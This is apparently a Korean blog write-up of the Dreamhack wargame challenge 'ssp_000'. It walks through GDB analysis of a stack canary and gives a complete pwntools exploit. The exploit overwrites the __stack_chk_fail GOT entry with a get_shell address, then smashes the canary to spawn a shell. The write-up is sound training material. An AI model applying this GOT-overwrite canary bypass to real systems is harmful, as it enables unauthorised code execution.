본문 바로가기
일상,취미

취미 Wargame ssp 문제

by 진득한진드기 2026. 4. 28.

[Wargame Write-up] SSP (Stack Smashing Protector) 우회

1. 문제 개요 및 공격 목표

  • 목표: 바이너리에 존재하는 보안 기법인 Canary(SSP)를 우회하고, 쉘을 획득(get_shell 실행)하여 플래그를 탈취한다.
  • 핵심 취약점: 1. 스택 버퍼 오버플로우 (Stack Buffer Overflow) 2. 임의 주소 쓰기 (AAW, Arbitrary Address Write)

2. 취약점 분석 및 GDB 디버깅

2.1. 버퍼와 카나리(Canary) 오프셋 계산

GDB를 통해 main 함수의 어셈블리를 분석하고 메모리 구조를 파악했다.

  1. 어셈블리 랜드마크 분석:
    • 카나리 세팅: mov %rax,-0x8(%rbp) ➔ Canary 위치는 rbp - 0x8
    • 입력 버퍼 세팅: lea -0x50(%rbp),%rax ➔ Buffer 시작점은 rbp - 0x50
  2. 거리 계산:
    • 0x50(80) - 0x8(8) = 0x48(72) 바이트.
    • 버퍼 시작점부터 카나리까지의 총 빈 공간은 72바이트임을 확인.

2.2. 메모리 덤프 확인 (x/50gx)

read 함수 호출 직전에 브레이크포인트를 걸고(b *0x400948), 2번째 인자인 rsi 레지스터 값을 확인하여 버퍼의 시작 주소(0x7fffffffe260)를 알아냈다. 이후 x/40gx 명령어로 스택 메모리를 출력하여 아래 구조를 눈으로 직접 증명했다.

Plaintext
 
[고주소 / 높은 주소]
+-------------------------+ <--- 0x...e2b8: 반환 주소 (RET)
+-------------------------+ <--- 0x...e2b0: SFP (0x0000000000000000)
+-------------------------+ <--- 0x...e2a8: Canary (0x382cbd75318feb00)
+-------------------------+ <--- 0x...e2a0: Dummy (8 bytes)
│                         │
│          buf            │
│       (64 bytes)        │
│                         │
+-------------------------+ <--- 0x...e260: Buffer Start
[저주소 / 낮은 주소]

2.3. 스택 방향성 충돌의 이해

  • 할당 방향: main 시작 시 스택은 고주소에서 저주소로(⬇️) 내려오며 방(RET, Canary, buf)을 만듦.
  • 쓰기 방향: read 함수로 데이터를 입력할 때는 저주소(buf[0])에서 고주소로(⬆️) 데이터가 써짐.
  • 결론: 버퍼에 72바이트를 초과하여 값을 넣으면, 위층에 있는 카나리 공간을 침범하여(Overflow) 값을 변조할 수 있음.

3. 익스플로잇(Exploit) 시나리오

코드상에 존재하는 *addr = value 로직(임의 주소 쓰기 취약점)과 카나리 보호 기법의 맹점을 결합하여 공격을 수행한다.

  1. GOT Overwrite (함정 파기): 프로그램이 scanf로 주소와 값을 물어볼 때, 카나리 에러 처리 라이브러리 함수인 __stack_chk_fail의 GOT 주소에 쉘을 띄우는 get_shell 함수의 주소(0x4008ea)를 덮어쓴다.
  2. Canary Smash (일부러 선 넘기): 버퍼 오버플로우를 발생시켜(A를 78개 입력) 카나리 값을 의도적으로 파괴한다.
  3. Execution Flow Hijacking (실행 흐름 가로채기): main 함수 종료 시 카나리 변조가 감지되어 __stack_chk_fail이 호출되지만, 이미 GOT가 get_shell로 변조되어 있으므로 프로그램이 종료되는 대신 쉘이 열리게 된다.

4. 최종 익스플로잇 코드 (solve.py)


 
from pwn import *

# 서버 연결
p = remote("host8.dreamhack.games", 20958)
e = ELF("./ssp_000")

# 1. 버퍼 오버플로우를 통해 Canary 의도적 파괴 (72바이트 초과 입력)
p.sendline(b"A" * 78)

# 2. 덮어쓸 타겟 주소 입력 (AAW: __stack_chk_fail GOT 주소)
p.recvuntil("r : ")
p.sendline(str(e.got['__stack_chk_fail']))

# 3. 변경할 값 입력 (get_shell 함수 주소)
p.recvuntil("e : ")
p.sendline(str(0x4008ea))

# 4. 쉘 획득 및 상호작용
p.interactive()

5. 회고

간만에 다시 보니 어셈블리와 16진수 메모리 덤프가 외계어처럼 보이기 시작했다. 전에는 그래도 좀 잘읽혔는데 큰일이다. GDB의 x/50gx와 레지스터(rsi 등)를 확인하며 스택이 동작하는 방향성과 구조를 시각적으로 분리하여 이해할 수 있었다. 방어 기법(카나리)을 무력화하기 위해 오히려 그 에러 핸들러를 내가 원하는 함수로 덮어씌운다는 발상의 전환이 핵심이었던 문제이었던 것 같다.